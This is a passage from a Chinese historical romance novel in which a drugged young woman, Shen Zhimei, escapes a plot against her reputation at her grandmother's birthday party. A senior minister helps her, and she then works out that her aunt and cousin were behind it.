那丫鬟摘了几支尖尖的嫩粉荷苞拢一束搁到沈之湄手边，又弯下腰伸手指了近处的两朵荷苞，却偷眼沉幽幽地睨向沈之湄，只嘴里却笑吟吟道：“表姑娘您看这两朵哪个更鲜嫩，奴婢……” “我瞧西边那朵更好。”沈之湄举起手，却霍地转了方向，而后她使出浑身力气奋然将石头尖砸向那丫鬟额头。 一片懵然中，那丫鬟抱头软倒在地。 “咚！” 石头力竭脱手，沈之湄定了定摇荡前倾的身子，无视后头的惨呼叫骂，也顾不上多加思量，强忍着目眩神摇，当即拔脚便逃。 这片湖极为广阔，中央一座精巧的八角亭，做观水赏荷之用，岸边垂柳处停泊了几座船坞。向外，周遭铺设数条甬道，除却两条主道连通内外院，其余的俱是石子小道，两旁草木葱郁，交错纵连，蜿蜒伸向各处，少有人至，十分僻静。 沈之湄方才歇脚的地方远离主甬道，仓皇之中，无力分辨路径方向的她一脚踏入毗邻的那条石子小路。 没走多久，“扑通”一声，她被道上的树枝勾了脚，天昏地转，蹒跚两步委顿在地。 石子冰凉冷硬，实实地跌了这一跤反叫她再次清醒了一点，即便还是眼前发黑，目光朦胧，可脑袋已不复之前那样昏厥般的晕痛。 不敢停歇，沈之湄磕磕绊绊爬起来，刚趔趄走了一步，稀稀落落的脚步声便追过来。 她一颗心“咚咚”狂跳几乎跃出胸口，脑子里霎时空荡荡的，只有一个念头愈发清晰——跑快一点！再快一点！ 不知跌跌撞撞多久，沈之湄只觉头昏耳鸣，气血翻涌，喉头的腥甜浸到舌尖，五脏又是好一番翻搅。扶住树干胸口剧喘息起伏，昏眩的眼眸缓了缓神，倒映出一座石板九曲栏桥的残影。 虽昏沉欲呕，但她好歹尚有一丝清明，知道这座九曲桥对面通向外院，她万万走不得。 风过树梢，枝叶哗啦作响。嗡鸣直入脑海，沈之湄魂不守舍，一时分不清这声响里是否夹杂了那丫鬟驱来的脚步声，她不敢大意，因她不知道那丫鬟有无帮手，幕后之人有无后招，她狼狈模样也不便显于人前，现下最好找一处清净地，待药效散去，梳理收拾一番后回沁芜院，回了沁芜院，她才算暂脱危局。 沈之湄抬目远眺，仔细逡视一遭，大不容易地抓住山石花木遮掩中的一线红墙，她暗暗生喜，忙不迭抄路而去。 *** 畹芙居。 程平挥退伯府下人，由他跟程宁侍候程晋安更衣。 先时，南安伯陈预求程晋安为一副寿山松涛图题字，以贺母亲六十寿辰，程晋安未推辞，略一沉吟，便提笔挥毫一蹴书就，他笔还没搁下，陈预已急不可耐凑近称赞连连，激荡之下不留心将砚台蹭翻，程晋安衣摆不免溅上墨渍。 好一番赔礼致歉，程晋安坚拒陪同自带从人至畹芙居更衣休憩。 程平轻手除下脏污的衣袍，低声抱怨道：“南安伯好歹在朝堂上站了十多年，怎还这般莽撞。” 程宁面无表情地平声叙述：“赵五来报，南安伯近来与兵部和五军都督府的人往来甚密，并送出数件古玩珍宝，目的不明。” “还能是什么，不为谋官便为求财。”程平替程晋安换上件石青色细葛布直裰，唏嘘道，“南安伯一爵因军功获封，历任承爵人俱效职军伍，已故老伯爷更是悍勇忠贞，官至禁卫指挥使。可南安伯府近年却露出败落之相，陈预在鸿胪寺蹉跎数年不得升迁，外头田庄店铺等产业一再转卖，也就仰仗老伯爷的情面，还能在功勋权贵间有一席之地。” “子不类父罢了。”程晋安淡淡评了句，又吩咐程宁，“让赵五留意。” 程宁恭身，惜字如金： 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程晋安执掌刑部，主理此次谋反之案，今日来南安伯府贺寿，便是宣示众人案子将结，不会抱蔓摘瓜，牵连余下之人。 之所以选南安伯府，除了老夫人寿辰恰逢其会之外，更因已故老伯爷，这一人臣典范。 启泰二十三年，先帝移驾西山行宫的路上遭遇伏击，老伯爷拼死护驾，身中数箭不治身亡。老南安伯有二子一女，女儿乃嫡妻所出，二子却俱是庶出，本朝有令，庶子袭爵需降等，先帝感念他的功劳，特允陈预以庶子之身不降等承爵。 程晋安更衣特挑了老伯爷故居，直说缅怀悼念，借此暗示新帝之意——不负忠臣。 程平招来伯府下人问明路线，三人便出了房门。 程平亦步亦趋缀在程晋安身后，压低声道：“听闻老伯爷极爱荷花，不仅种了一湖荷花，连居处都取名‘畹芙’，每夏必来这住上三两月。” 他一边走，一边眼观六路，“桌椅屏风、漏窗连廊，处处可见芙蓉纹饰。” 程晋安望了眼正堂漆黑匾额上“数荷”两个遒劲洒脱的行草，淡笑颔首：“不负‘畹芙’之名。” *** 抵至红墙跟下，遥遥数步外的月洞门在她眼中、脑中扭曲打晃，几要失了本来模样，沈之湄却由心底湃出汩汩欢跃，疲软的腿脚也似失了知觉般，她当即提起裙摆，一鼓作气跌撞而去。 跨过月洞门，转过假山，还有一道连廊便可寻一间厢房暂时歇下，沈之湄本已缓下的步子当即加快。 及至廊前，一道人影正踱步转出，她来不及收脚，一头扎进这人怀里…… 沈之湄乍然呆怔，脑子一片空茫，只低垂的眸子映入一只手，修长且指骨分明，光色玉雕似的，捏着一串雕纹栩栩的小叶紫檀佛珠，衬得这手像也染上了几分佛家的慈悲宽和。 她凝视半晌，反应过来什么，登时被吓回魂，踉跄后挪一步。 这分明是一只男子的手！ 沈之湄只觉得身子冷得厉害，从心底渗出一股寒气，脸上热气未散，她却如坠凛冬子夜，止不住颤抖。 头撕裂般的疼起来，她狠狠闭了闭眼，略抚平起伏如潮的心绪，仰脸望向男子，便瞧见一双熟识的温煦眼眸。 周遭物什好似骤然冷凝，寒潮扑上沈之湄的脸庞，令她一霎那清醒无比，她的指甲不自觉扣进掌心软肉，钻心的灼疼让她渐渐镇静，暗嘘口气，她再退两步，强自稳住摆晃的身子，姿态恭敬地敛衽福了一礼：“阁老万安。” 5. 第五章 这一礼规整端方，却轻灵婉约，浑然雅致，从微曲的颈项到削直的背再到舒展的裙摆，一条流线似柔风吹起的水纹，隽美秀逸。 因今儿是外祖母寿辰，沈之湄上穿浅象牙色绣雪里红梅褙子，下着杏子红素面湘裙。她安静垂首，泼墨长发细软似鸦羽，将面色映衬得愈发苍白，日光绕过檐顶伸展的藤条枝叶倾洒而下，一点点碎光落在她嫣红的眼尾周遭，晶莹绚丽彷如飞溅的泪珠。 她此刻的形容称得上狼狈，鬓发微散，失了一侧的耳坠，袖口、裙摆都沾有泥色污块，如此却未损害她的姿容，反多了几丝油然的楚楚之态。 轻风拂面，沈之湄忽觉鼻端一股隐约檀香，继而头顶响起一个极温醇的男声：“姑娘多礼。” 沈之湄下意识循声抬脸，却恰闯入一双浓黑的眼眸里，深邃广袤，仿佛蕴着一片海。 他望来的目光却温而淡，且不迫人，擎着恰到好处的温文尔雅，可沈之湄无法从中分辨出哪怕一丝丝的好恶喜怒，反倒是她，好似倏忽间便被勘破心防，泄了掩埋于底的隐秘。 在他眼前，她宛若透明般。 沈之湄浑身一紧，眼珠儿不作游弋端量，低敛长睫，抿唇深吸口气，屈膝又一礼：“方才小女无意冒犯了阁老，敢请阁老恕罪。” 程晋安低笑了一声：“无妨。” 轻声道谢后，沈之湄才不动声色地略抬了抬眼。 只见程晋安单手负立，直裰由靛蓝换成石青，身后跟了两二十多岁的随从，一个眉眼活泛着鹦鹉绿潞绸袍子，一个肃眉冷脸着石灰色棉袍子。 程晋安温和的嗓音仿佛漫不经心般问她：“令堂名讳是？” 兴许是太过紧绷的缘故，令沈之湄飘忽的昏眩正渐次消减，可脑袋却一抽一抽地顿疼起来，她强自忍下扶额揉捏的冲动，低眉敛神回道：“家父沈怀文，启泰十九年一甲探花。” “沈怀文，是他？”停顿须臾，程晋安探手把玩着腰间白玉坠，淡淡反问了句，其间意味难明。 沈之湄轻轻颔首：“是。” 程晋安顿了顿，又道：“沈姑娘，可要替你寻来丫鬟仆妇？” 沈之湄微微偏过身，低下眉眼，心中浮上丝丝怅然，声音轻的如同一缕缥缈的烟：“……不需了。” 碧枝、云柳不知在何处，外祖母处人多眼杂，容易节外生枝，而且外祖母近来身子骨不大康泰，万一惊扰了她老人家也非沈之湄所愿，最紧要的是大舅母正在寿喜堂侍候待客，大舅母…… 这一会儿，沈之湄大致可断定，她之所以神志半迷，是因为她在花厅所吃茶水被混了药，只不能明确药一早被下在茶盏中，还是小丫鬟所拎铜壶里，可不管药下在哪里，定为内院之人所为；再结合“幻境”中那纨绔话语，外院服侍的丫鬟着意引他至湖边逗留，那么牢牢攥着伯府中馈大权的南安伯夫人，她大舅母赵氏，能同时指派得了内外院丫鬟的一府主母很难排除罪魁之嫌。 况且，沈之湄现今已基本认定，赵氏就是幕后主使，或者……主使之一。并非她无的放矢，而是她回忆起某些不经意捕捉到的瞬间——赵氏瞧着她时自然流露的挑剔，以及不满，且这不满越来越显著。 如今回想起来，一切早有迹象，比如近段时日赵氏在陈玉珠针对她时愈发放纵，今早的冰糖燕窝可算最好的辅证，蔡妈妈是赵氏自赵家带来的陪嫁，几十年的心腹老人，最知她心意，若非明了赵氏心思，以蔡妈妈的圆滑世故怎会如此冷待沁芜院，慢待她。 由是，外祖母处最去不得。 至于去寻畹芙居或者他处的丫鬟仆妇也不可行，她不好解释为何只身且形容狼狈地闯入畹芙居，更难以辩白的是为何要只身闯入程阁老所在的畹芙居，倘日后流传出去，不定会编排出什么不堪流言，而流言这柄无形利刃的威力她已在“幻境”里领教过了，摧心折肝般的痛，她实不敢再掠其锋芒。 沈之湄正要行礼先离开再计较其他，忽听程晋安和煦道：“沈姑娘若是不急，不如先进畹芙居喝杯茶，略作休息。” 仿佛是瞧出了沈之湄的顾虑，他又道：“姑娘且安心自便。”言下之意，必不会让沈之湄清誉因此受损。 这话说得风轻云淡，却莫名有股言出如山的力量，让人由衷地坚信他的话必会落地成真。 她的窘迫他瞧在眼里，想必亦有所猜测，但—— 他一句多余不问，却直接给予她目下最迫切的。 沈之湄心念一动，似朗日流云被风拂动，划出暖煦明媚的晖波。 拘谨不知不觉消褪不少。 沈之湄眼眸稍稍上抬，掀起眼睫觑向程晋安。 相距不过三两步，他倒映在她眼中的身形尤其高峻巍然，不见一般文官的文弱气，也不染武将的粗豪，朗朗昭昭，峻挺皎然，好似不能撼动的山岳。 他背阳而立，轻影覆着他大部面孔，只清隽深邃的眉眼沐浴在晖光中，碎光点翠于漆黑眸瞳，水泽粼粼，“温润如玉”一词跃然而出。却不过，好似有不着眼的锋芒暗藏于下，沈之湄欲细辨，他眼尾线条倏尔上弯，光影流动，那隐隐绰绰的丝缕踪迹彻底隐匿。 程晋安正朝她温温然的笑。 他光风霁月，稳如泰山；她浑身狼狈，慌似拂柳。 日光清辉于他周身嵌了一圈溶溶的暖边儿，亲和流淌于外，令人情不自禁听之，信之，从之。 而她现下确实亟需一周全静僻之处。 沈之湄屏息定神，侧眼低眉：“如此……多谢阁老。” 畹芙居自外祖父过世后再没人住进来，每旬遣下人洒扫庭院擦拭门窗连廊，只外祖母寿辰前夕，会将畹芙居从里到外彻底清扫一遭，幔帐窗帘、地毯花卉也换上崭新的，且外祖母生辰当日，四门俱开，并散开所有下人，待外祖母夜里来此静坐，或与外祖父叙话。 因此，再没有比畹芙居更适合此时的沈之湄了。 预料之外遇上程晋安，她本已决定退走，虽然这是南安伯府，可遇上势大如程晋安这般的权信之臣，作为一府之主的大舅舅也要略退一步恭敬作陪，更何况她一个借住在此的外甥女。程晋安能入畹芙居，总是由大舅舅张罗的。 却不想，程晋安会说出那样一番话。 安心…… 沈之湄确实也想不出比畹芙居更僻静太平的地方了，她怕也无力再找他处。程晋安一朝阁老，又怎屑于瞒骗她一个区区小女子，再则他醉心朝政，于男女之事上素有清名，纵然她容貌惹眼，但以程晋安今时今日的权势地位何等样的美人没见过，又岂会在意一个她？ 不用程晋安吩咐，程平已机灵地前行一步支开院中其余下人。 沈之湄稳住摇摇欲坠的身姿，敛衽一礼向程晋安道谢，然后又摇曳后退两步转身，宛若被轻风掠过的一株含苞待放的荷。 程晋安颔首，原地顿足少会儿，目送纤妍身形走出视野。 沿回廊穿过假山荷池，不一会儿侧入庭院，院子靠南有一屏雕刻莲叶荷花大理石照壁，古拙粗犷却不失舒阔别致，乃老伯爷一凿一斧亲刻而成，也是送与夫人的寿辰礼，正房前种一颗高挺繁茂的大榕树，树下设有石桌石凳，沈之湄进了东侧厢房，一路果然未见其他人。 她将门关上，给自己倒了杯清茶一饮而尽，门外程平敲了两下门，恭敬道：“沈姑娘，东西我给您放在门口了，时间紧只找来温水棉帕和一对粗陋的镜梳，还请您见谅。” 沈之湄轻声道谢：“有劳你，已是尽够了。” 程平略顿了顿，才回了句“不敢”走开。 自家爷于女色上一向淡，虽因故至今未能娶妻，可也从不踏足秦楼楚馆，蓄婢纳妾。自家爷惯来喜怒不形于色，旁人难从他面上窥探出什么，可他和程宁自幼侍候他，一起经历浮浮沉沉，还是能瞧个三四分。今儿自家爷就很不对劲，竟然主动开口帮扶这位沈大姑娘。 确实相当不对劲！ 他再没见过比这位沈姑娘姿容更美的人，仿似桃夭杏芳，又若晨曦皎月，撼人心魂，那把嗓音也动听得很，既轻且柔，似泉涧溪流，却又蕴藏了几分勾缠动人的绵绵之意。 只不过，他怎么听说这姑娘她有婚约在身啊？ “哎。”程平不由地幽幽叹了一口气。 沈之湄打开门，门口已搁下 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眩晕刺疼一齐袭来，沈之湄不由地抬手抚上额角，揉捏好一会儿缓解不少，此地不宜久待，沈之湄长吁一口气，对镜把散落的鬓发重梳回发髻，又将衣裙上的泥污清理洁净，动作间思绪却片刻不停。 她难免想到方才，想到程晋安。 当时，他既不问她缘何突入畹芙居，也不问她怎地形容那般狼藉失措，只问了她是谁，面上更是从未显露一丝丝异色，自然而然地给了她一个体面的台阶，她也借此自欺欺人般保住所留无几的脸面。 沈之湄支离冰凉的心徐徐氤氲出些微暖意。 她跟他仅仅一面之缘罢了。 然而，与她朝夕相对的所谓“亲人”却…… 顷刻，沈之湄鼻端又莫名泛上一股酸气，难以言喻的委屈一霎时漫延开来，很快澄净的眸子蒙上水光，她仰了仰脸颊不肯让泪落下。 好一阵子，眼泪方潮汐似的退去。 为防她意识尽失，无力挣扎溺死湖中，她所中迷药的药力本就不强，况且她未用几口茶水，收拾停当后，她已恢复泰半精气，心境也大略平和，沈之湄不再耽搁，便推门而出。 湛蓝的高空上，一轮灼灼的金乌斜挂，初夏天儿渐热，正房前的那株大榕树，枝头新绿披上一层层深衣，一个身影儒雅疏懒，正坐在这片青翠浓阴里，举杯品茗，闻声徐徐望向沈之湄，茶气氤氲，弥漫着他的面孔，影影绰绰叫人瞧不真切。 沈之湄一怔，不由地微微绷起，暗吸一口气，趋步朝他走了过去，相隔五六步驻足。 与他，一个站于光里，一个坐于影中。 她这会儿才全然看清程晋安的面庞，一双瑞凤眼湛然流过神光，挺直的鼻梁在白皙的脸颊上投下峰峦般的暗影，当得是俊逸温雅。他瞧着像是二十来岁，可不论是他藏云搅雾的眸子，还是萦绕周身的沉凝气势，以及那份越了年纪的沉稳从容，都让这像个谬误。 他就像黄昏时分的海，余晖为他罩了一层朦胧暖煦的光雾，瞧上去温文无害，令人向往，但实质上，他手掌翻覆间便可搅动云雨，掀起万丈波涛。 不知何故程晋安竟还未离开畹芙居，沈之湄心下讶异，略一转念又释然，兴许日理万机的他难得借机偷得浮生半日闲。 沈之湄思绪漂浮少顷，赶紧回神垂眸施礼道谢：“先时扰了阁老安宁，阁老仁厚未怪罪，反抬手相助，小女实不知如何感激才好。” 顿了顿，她踌躇再三，还是又道：“小女虽力微，然日后阁老若有需，凡我能帮，定不推辞。” 这话虽有不自量力，虚应之嫌，但确是沈之湄肺腑之言。人生路远，前途漫漫，兴许哪一日她便有了还恩的能耐和时机。 话毕，沈之湄坦然许多。 她对他委实感激，若不惦念回报一二，只报以轻飘飘一声谢，心里不能安宁。 程晋安朝她瞭了一眼，目光不着痕迹在她那侧依旧空荡荡的莹白耳垂上凝了凝，敛眸呷了口茶，不疾不徐道：“倒是有一个。” 闻言，沈之湄抬眸愕然望向他。 6. 第六章 眼前这株榕树颇有些年头，树干直入苍穹，枝条虬结铺展，将正房屋顶遮挡了半面，日光透过密密匝匝的叶子，投下明亮细小的金色光束，在程晋安身上烙下星星点点的光斑，一阵风簌簌穿过树梢，有一片榕叶从天飘然落下，在半空打了几道弯，悠悠挨到他手边。 他目光侧垂，把白瓷绘五彩花卉小盖盅轻放在青色石面上，神色温文，举止雅然。 沈之湄眼眸回敛，密密的眼睫像羽毛般颤颤巍巍地低垂着，贝齿轻咬下唇道：“还请阁老示下。” 她刚作出许诺，他就提起要求，怎地如此巧？何况她如今一介闺阁弱女，宰执天下的堂堂阁老又能托付甚事于她呢？ 正思索着，他含笑的嗓音突地响起：“‘畹芙’一词出自何处？” 沈之湄眼睛微微圆睁，他这一问着实出她意料，拂去心头的些微困惑，她周祥认真地回道：“出自宋时叶茵的诗句，‘养心淡泊千诗稿，种德蕃滋九畹兰’，因院里遍处芙蓉纹样，便改‘畹兰’二字作‘畹芙’，亦取中‘畹芙’与‘万福’同音之谊。” 她的嗓音清丽婉转，娓娓道来时，若涓涓溪流，动听且耐听。 “音意具好。”程晋安颔首，一手搭在青石桌沿，食指指腹不紧不慢地点敲着，转而又道，“早间曾闻老伯爷年轻时与人辩荷，倒不似爱荷之人，如今却传老伯爷钟爱荷花，且这‘畹芙居’一匾一窗皆可见用心不斐。” 外祖父跟人“辩荷”一事，沈之湄略有耳闻。 老人家年轻时颇有风流狂狷之名，人说荷花“出淤泥而不染，濯清涟而不妖”，他偏执意讲荷花真虚伪，假清高，一如伪君子、假道学。 可偏偏外祖母独爱荷花。 “真正爱荷之人乃家外祖母。”沈之湄低眸忖度须臾，简略答了一句。因涉外祖父母夫妻密事，沈之湄实不便与一外男多言。 其实，亦不须沈之湄多说，程晋安已闻音知意，毕竟老伯爷与夫人伉俪情深，誉满京都。 程晋安笑叹：“原来如此。” 沈之湄微微一笑。外祖父成婚前一度风流，大舅舅便生在那时，婚后却渐渐收心，跟外祖母感情日浓，二舅舅出生后更是再不染二色，哪怕外祖母因生产伤了根本无法再诞育子嗣。 畹芙居乃外祖父为外祖母所建，一墙一景，一纹一饰，皆由两人商议而来，当真无一处不彰显两人情分。 因这份情分深，自外祖父过世，外祖母便将居所内一切与“荷”相关的物什收入库房，最爱养于房中的碗莲也换成四时时兴花卉，像是置于高几上的那盆金带围。 沈之湄所知外祖父母之事，多由外祖母身边王妈妈陈叙，外祖母偶尔提上几句，她对于姻缘的认知和想象泰半源于此。 风乍起，天光随之黯淡少许，一团厚实的云团行于金乌前，踉踉跄跄，不知要飘往何方。 沈之湄想到自己此番姻缘波折，前路叵测未卜，心头不由地浮起一丝怅惘。这一丝怅惘淡而轻，被程晋安温言一惊，便遁走了。 “多谢沈姑娘为我解惑。” 沈之湄透澈的双眼望向程晋安，轻轻摇首：“不敢当阁老一声谢，举手之劳罢了。” 程晋安垂头注视着她，声线缓慢且低沉道：“适才之事于我，亦是举手之劳，姑娘且不必挂念。” 沈之湄心头一震，愣愣抬眼望向他。 两人目光越过明朗的晖色相接，沈之湄面色微僵，一抹愧色晕染眼波，率先移开眼。 她方才听见程阁老欲提要求时，还暗揣他援手助她是否别有目的，没成想他问题简单轻巧至极。此刻，她已然反应过来，他之所以当即提要求，不过宽慰开解她而已。 他哪真用她襄助。 是她，以小人之心度君子之腹。 一朝被谋算，不论何人何事竟先起三分疑心，草木皆兵一般。 沈之湄脸颊微微灼烧，轻声道：“这不一样……” “于我，无甚分别。”程晋安温朗一笑，举重若轻说道，“姑娘无须多虑。” 他嗓音温和淡然，不知是不是错觉，她竟然能从中听出由自信从容滋生的强势。 沈之湄抿了抿唇，没辩驳，屈膝端正一礼。 于他，给取均举手之劳，没什么不同；于她，给予是举手之劳，可求取却大不相同，令她进一步挣脱幻境覆辙，免遭年轻横死的命运。 沈之湄虽依旧固执己见，但不得不说，因他的举止言辞，她心间沉云散开不少。 程晋安垂眼端量她片时，像是瞧出她心头所想，哑然一笑，低叹道：“罢了。”沈之湄不解他话里深意，略感无措，抬手掠了掠飘散的鬓发。 程晋安别过眼眸，不久前那绺细软鬓发仿若初夏的一缕轻风掠过他修长指间，激起微微的麻痒。他不自禁搓了搓竹节似的手指。 将欲张口道别，似想起什么，沈之湄一张俏脸闷出羞惭的殷红，抿直润红唇瓣，纤细若葱白般的手指紧紧绞一起，支支吾吾，顿了好一会儿才勉力道：“今日之事，还望您……莫要向旁人透露……” 程晋安似觉好笑，喉头低低震颤，心中略沁出的一缕燥意褪尽，修长手指在瓷白茶托边沿划了半圈，这才缩回指头，反问：“要向旁人透露什么？” 眼见沈之湄双颊绯色益深，眼尾被灼烫出一抹残红，他不动声色把话圆回来：“安心，今日我只在这畹芙居歇了歇脚，并未见生人。” 沈之湄咬唇小声道：“多谢阁老。” 非但不主动自陈孤身闯来的缘由，还央求人缄默保密，沈之湄暗自苦笑。 但—— 大舅母不满她做儿媳又不愿担上背信弃义的污名，于是使恶计败坏她清誉，而她则是识破了舅母筹谋后慌不择路逃来这里。 可她能这么说吗？ 她也能真假掺半地编造，比方说她不善饮酽茶浓茶，不留心喝了大半盏，游走直湖边便头脑昏沉起来，因畹芙居在近旁，就打算来此暂歇半晌，却不想冲撞了他。 没有一句假话，春秋笔法略掉不便对外人言说的人和事，藏头露尾倒也给出了个尚且合理的解释。 只经不起细究，最明显的一点，她为何会狼狈不堪的独身一人乱走，且还不愿去寻丫鬟仆妇？ 这已是她能苦思到的最合理解释，仍旧漏洞百出，用以搪塞当朝阁老，不免有敷衍挑衅之嫌。况且，程阁老于她有恩，她着实不愿诓骗他。 思绪乱飘间，沈之湄不由地被程晋安一句话吓了个激灵。 “想独享清净，倒不必甩脱丫鬟仆妇，让她们离远些就是。”这道话音像一丛潺潺流水漫入沈之湄耳廓，与她心间洪流汇合。 她的心思好似被他提前一步勘破。 沈之湄不禁怔然，下意识短短应了句：“是。” 天光大好，暖风习习，她颊侧一缕鸦羽似的鬓发被风撩起，露出晶莹嫣红的耳尖，一双黑甸甸的眸子似泛起隐隐水光，有一眼没一眼地斜觑他的面色。 见他始终八风不动，神色温温，沈之湄又低眉敛目施礼，肃声道：“小女记下了。” 程晋安目光投向她，略略摆手，笑叹道：“果真记下便好。”眼睑下隐有深色浮动。 树荫随日头移动，小半石桌挣出阴影，金色日光和淡薄灰影在他身上交错，勾勒一道明亮的斑驳身影，逆光望去，她竟瞧不清他的眉目。 沈之湄恍惚察觉他话里仿若透着一丝熟稔，错觉般一闪而逝，她沉下些许狐疑，正色道：“是，定不敢忘。” 程晋安温和地笑了一下，抬手端起茶盅道：“去吧。” 他唇畔始终噙着深深浅浅的笑，可立在他近前时，沈之湄仍不自觉敛声屏气。 闻言，她暗松口气，眸子不由地一亮，唇畔弯出个赧笑来：“是，小女告退。” 这一笑缓缓晕开，秀丽的眉目舒展，斐斐迤逦，宛如撑破苍穹的第一缕晨曦般动人心魄。 而立在光里展眉而笑的女孩儿，更应了那句“灼若芙蕖出鸿波”，真如春日里枝头最娇的那朵花，明媚温柔。 程晋安颔首，低眸呷了口冷茶。 *** 跟先一步领路的程平和守在随墙门门口的程宁颔首致谢一番，沈之湄脚步轻快地离了畹芙居，走了一小段石子路就见到了主甬道，而后便沿主甬道向内宅深处去。 此时夏意微露，湖面荷叶葳蕤铺展，岸边柳枝低垂，风丝卷拂，深深浅浅的绿叶映照出夺目碎光，真真鲜活蓬勃。 可碰着这片湖，沈之湄浮起的心再次沉到湖底。按捺住杂乱的思绪，她不禁加快脚步。 一路有惊无险到沁芜院，倚着廊芜红漆木柱，沈之湄才慢慢松下绷直的脊背，长长吁了几口气。 云柳和碧枝闻声迎出门，见状面面相觑片刻，由云柳试探着柔声问：“姑娘，可是乏了？还是出了何事？” 沈之湄微一摆手，问：“你们怎地回了？” 碧枝嘴皮子利落，闻言当即脆声解释：“奴婢们照您吩咐将瑕表姑娘送回她院落，没料到她院中竟无甚使唤人，得用的丫鬟仆妇都不知去哪躲懒了，只一个门上守夜的老婆子和两个拙手笨脚的粗使丫鬟，根本干不了细致活计，奴婢和云柳姐姐只得留下来，服侍表姑娘卸去簪环发鬓，再铺床展被将人安置妥当。表姑娘口渴，可屋里的茶水凉得扎心，奴婢又去烧水沏茶，待表姑娘阖眼休憩，已过去了近乎半个时辰。” 沈之湄朝正房迈步，俩丫鬟缀在左右，跨门槛时碧枝虚浮了她一把，继续道：“待离了瑕表姑娘处，奴婢们见起风了，便想回沁芜院取件斗篷再去寻您，刚打开箱笼便瞧见你回来了。” 沈之湄进屋在小巧的菱花填漆八角桌前就坐，接过云柳递来的白瓷底绘彩的杯盏，两口温茶入腹，窝在心口的那股凉气似也淡了不少。 地上的熏笼徐徐吐着袅袅烟雾，沈之湄的眼眸穿过云雾，怔怔愣神，却忽闻碧枝小小惊呼了一声，困惑道：“姑娘，你左耳上的红宝耳坠怎地不见了？” “什么？”沈之湄腾地惊诧回神，当即抬手去摸耳垂，空空荡荡。“咯噔”一下，心猛地跌落心谷。这是母亲心爱的物什，却被她疏忽遗失了！ 究竟遗落在何处呢？ 沈之湄悉力镇静回想。 她在畹芙居厢房梳理发鬓，揽镜自照时尚未觉察耳坠丢失，离开畹芙居后，她一路谨慎，不大可能弄丢耳坠，只能是在进畹芙居前，她在奔逃途中，伸臂挥荡横路的枝叶时扯掉了耳坠，而在畹芙居她心绪犹且起伏不定，一时疏漏便没发觉耳上异常。 有了大概方位，沈之湄惶急的心绪慢慢缓和，对碧枝沉静道：“别慌，我记得落哪里了，回头再去找回来。” 碧枝懵然应了声，想问些什么，目光不经意瞥见沈之湄后肩处的衣料勾出了几缕丝线，拧着眉问道：“姑娘，您这件新上身的褙子怎的勾丝了？还不止一 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漆黑浓密的发像一捧乌云般徐徐散开，身后的云柳小心翼翼地用牙梳自上而下梳理，沈之湄也在这安抚般的轻触中，梳理思路。 她将自今晨起身到此刻重坐于妆台前，这期间遇见的一切人和事巨细靡遗地回想了一遭，一个削弱的人影逐渐浮出脑海，愈来愈清晰。 沈之湄的声音听着格外平淡：“表姑娘可有起热？” 云柳顿了顿，似思索了会儿才道：“是有些微的烫，当无甚大碍。不过瑕表姑娘一直心神不定，躺床上时亦不能安枕。奴婢问了回，她只说无事。” 沈之湄又问：“院里可有人离开？” 云柳道：“碧枝倒是抱怨过烧水的那个粗使丫头偷懒跑没影了。” 沈之湄心神陡然一紧。 陈玉瑕离开花厅回望来的那一眼，意外地深深镌刻在她脑海里，现下再去仔细分辨，无奈、纠结、愧疚、决然等情绪一一被拔出。 今儿这事一目了然，陈玉瑕引走云柳、碧枝，她又因挂心陈玉瑕的“病情”和不相熟的丫鬟离了花厅，而她自来有醉茶的毛病，摘花时脑袋因喝了“酽茶”犯晕踩空脚落水简直顺理成章，外祖母和她事后也难做怀疑究查。 她落了水，府里之后必定兵荒马乱，接着便是退亲、出嫁……即便午夜梦回略觉蹊跷，她也无力无心再去追究。 而今，沈之湄瞧得明明白白。 陈玉瑕即便不知晓赵氏的全盘筹谋，可对赵氏的歹意必有所猜度，而她却为虎傅翼，助人下石。 沈之湄侧眼盯着悬在雕绘藤草鸟虫花样拔步床上的虫草鲛绡帷帐怔怔出神。 帷帐上的飞虫草木，山石流水是她描摹勾画后由陈玉瑕一针一线绣出来的。前年外祖母分了她们姊妹几匹鲛绡，她便想着做一幅清雅的虫草帐子换下繁复花卉纹样的纱帐，虽她精于书画，但于针凿女红上委实平平，画好花样本想交由云柳碧枝两个丫鬟去绣，却被陈玉瑕主动请缨领了去，言说承自己多年照拂，想略尽一尽心意。 就在那半年前，冰天霜地的冬月，陈玉瑕被罚跪祠堂抄写经文，她夜半忧心，起身叫上云柳带着热饮大毛氅悄悄去祠堂探望，却见陈玉瑕满面烫红昏倒在地，她赶忙把人扶起通知长辈请大夫。当时病情来得凶险，陈玉瑕整整躺了大半月才慢慢好转。 念及此事，沈之湄体谅她的用心便应许下来，可陈玉瑕终归不是她的丫鬟，是以陈玉瑕绣花样时她每常伴在一旁，或闲聊或看书，一副帷帐绣成，俩人确是益发亲近了。 如今想来，倒是讽刺。 沈之湄挪开眼，对云柳吩咐：“晚些时候换上那副花卉纹样的帷帐。” 云柳眼里闪过明显的迷惑，嘴唇翕动半晌儿，终是只答道：“是。” 沈之湄敛眉阖眼，极力忽略心间泛上的钝疼，把思绪拉到当前的困局上。 幻境里的画面着实零散，像是一张撕成碎片的宣纸被纷纷扬扬撒了一地，而她只拾取很少的几片，而这几片画面中出现的人俱都是她今日见过面或听过声的。 在幻境中，落水事后，大舅舅对她一如既往的疼宠怜惜，说了不少宽慰她的话，退婚时也颇为惋惜痛心。至于表哥，因无他的身影，从而他的想法态无从了解。 沈之湄此时略迷茫，她之后该如何行事呢？而今，她只明确赵氏有悔婚的意图，大舅舅、表哥暂不可知，如此境况下，她要考量退婚之事吗？还是尽力守住这份婚约？ 如若退婚，那她往后便不能时时陪伴于外祖母身侧，而她自幼和外祖母相依，从未想过哪天与她分离…… 还有，这些事要不要说与外祖母？她老人家的身子骨能承受住这般不堪的真相么？ 简直一团乱麻。 沈之湄烦闷地捏了捏眉心，转去里间更衣，刚由云柳系好腰带，碧枝从外头急急闯进来，一见沈之湄就慌张跪下道：“姑娘，快去寿喜堂罢，老夫人病倒了。” 沈之湄心跳陡停，耳中一片轰鸣，厉声喝道：“你说什么？！” 碧枝哭道：“奴婢去大厨房的路上撞见寿喜堂的燕僖姐姐，她正领着同济堂的张老大夫朝寿喜堂去，奴婢上前询问，她只说老夫人身子骨不虞，看戏时没撑住倒下了，奴婢不敢再找人打听耽搁功夫，就忙着跑回来给您报信了。” 沈之湄身形一晃，云柳眼疾手快扶住她，她死死掐住掌心，边朝外走，边极力镇定道：“快走，去寿喜堂！” 7. 第七章 疾风骤起，树枝被拖拽得左支右绌，窸窣窣摇落一地红绸灯笼。 